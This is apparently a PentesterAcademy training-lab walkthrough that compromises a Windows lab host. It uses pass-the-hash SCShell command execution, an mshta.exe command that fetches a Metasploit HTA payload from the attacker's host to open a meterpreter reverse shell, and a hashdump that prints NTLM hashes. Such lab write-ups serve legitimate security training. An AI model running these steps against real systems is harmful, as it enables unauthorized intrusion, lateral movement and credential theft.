
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: SCShell
URL	https://attackdefense.com/challengedetails?cid=2393
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Run a Nmap scan against the target IP.

Command: nmap 10.0.20.155

```
root@attackdefense:~# nmap 10.0.20.155
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 15:07 IST
Nmap scan report for 10.0.20.155
Host is up (0.081s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.12 seconds
root@attackdefense:~#
```

Step 2: We have discovered that the multiple ports are open and port 135 MSRPC is also exposed. We could use this port to run commands remotely using SCShell.

SCShell:

“SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.

The utility can be used remotely WITHOUT registering a service or creating a service. It also doesn't have to drop any file on the remote system* (Depend on the technique used to execute)"

Source: https://github.com/Mr-Un1k0d3r/SCShell

The tool is located inside the "/root/Desktop/tools/SCShell/" directory.

Step 3: We need to know a service name that isn't running on the target machine. We will use that service and run commands through it. In this case, we will be targeting the Netlogon service.

Command: python3 /root/Desktop/tools/SCShell/scshell.py -service-name Netlogon administrator@10.0.20.155 -hashes 00000000000000000000000000000000:5c4d59391f656d5958dab124ffeabc20

Note: 00000000000000000000000000000000 ← is 32' zeros this is not a password. This is an LM (LanMan hash).

```
root@attackdefense:~# python3 /root/Desktop/tools/SCShell/scshell.py -service-name Netlogon administ
rator@10.0.20.155 -hashes 00000000000000000000000000000000:5c4d59391f656d5958dab124ffeabc20
Impacket v0.9.24.dev1+20210814.5640.358fc7c - Copyright 2021 SecureAuth Corporation

[*] Command need to use FULL path. No command output.
SCShell>
```

We are connected. We could now run any cmd command on the target machine. Please note it won't return any output.

Step 4: Open another terminal and run Metasploit hta server to gain a meterpreter session.

Commands: msfconsole -q
use exploit/windows/misc/hta_server
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > set TARGET 1
TARGET => 1
msf6 exploit(windows/misc/hta_server) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/4Lb3SOWod1IJ1hn.hta
[*] Local IP: http://10.10.15.2:8080/4Lb3SOWod1IJ1hn.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) >
```

Step 5: Running the hta payload to gain a reverse shell.

Command: mshta.exe http://10.10.15.2:8080/4Lb3SOWod1IJ1hn.hta

```
[*] Command need to use FULL path. No command output.
SCShell>mshta.exe http://10.10.15.2:8080/4Lb3SOWod1IJ1hn.hta
[*] Command Executed
SCShell>
```

```
[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/4Lb3SOWod1IJ1hn.hta
[*] Local IP: http://10.10.15.2:8080/4Lb3SOWod1IJ1hn.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) > [*] 10.0.20.155      hta_server - Delivering Payload
[*] Sending stage (200262 bytes) to 10.0.20.155
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.20.155:49729) at 2021-09-01 15:19:58 +0530
```

Step 6: We have successfully received a meterpreter session. Interact with the sessions and dump all windows user's NTLM hashes.

Commands: session -i 1
hashdump

```
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c4d59391f656d5958dab124ffeabc20:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
student:1008:aad3b435b51404eeaad3b435b51404ee:bd4ca1fbe028f3c5066467a7f6a73b0b:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
meterpreter >
```

We have discovered the flag.

Student User NTLM Hash: bd4ca1fbe028f3c5066467a7f6a73b0b

References

1. SCShell (https://github.com/Mr-Un1k0d3r/SCShell)
2. HTA Web Server (https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/)
3. Understanding Windows local password hashes (NTLM) (https://security.stackexchange.com/questions/161889/understanding-windows-local-password-hashes-ntlm)
4. LM Hash and NT Hash (http://www.adshotgyan.com/2012/02/lm-hash-and-nt-hash.html)
5. LM Hash (https://ldapwiki.com/wiki/LM%20hash)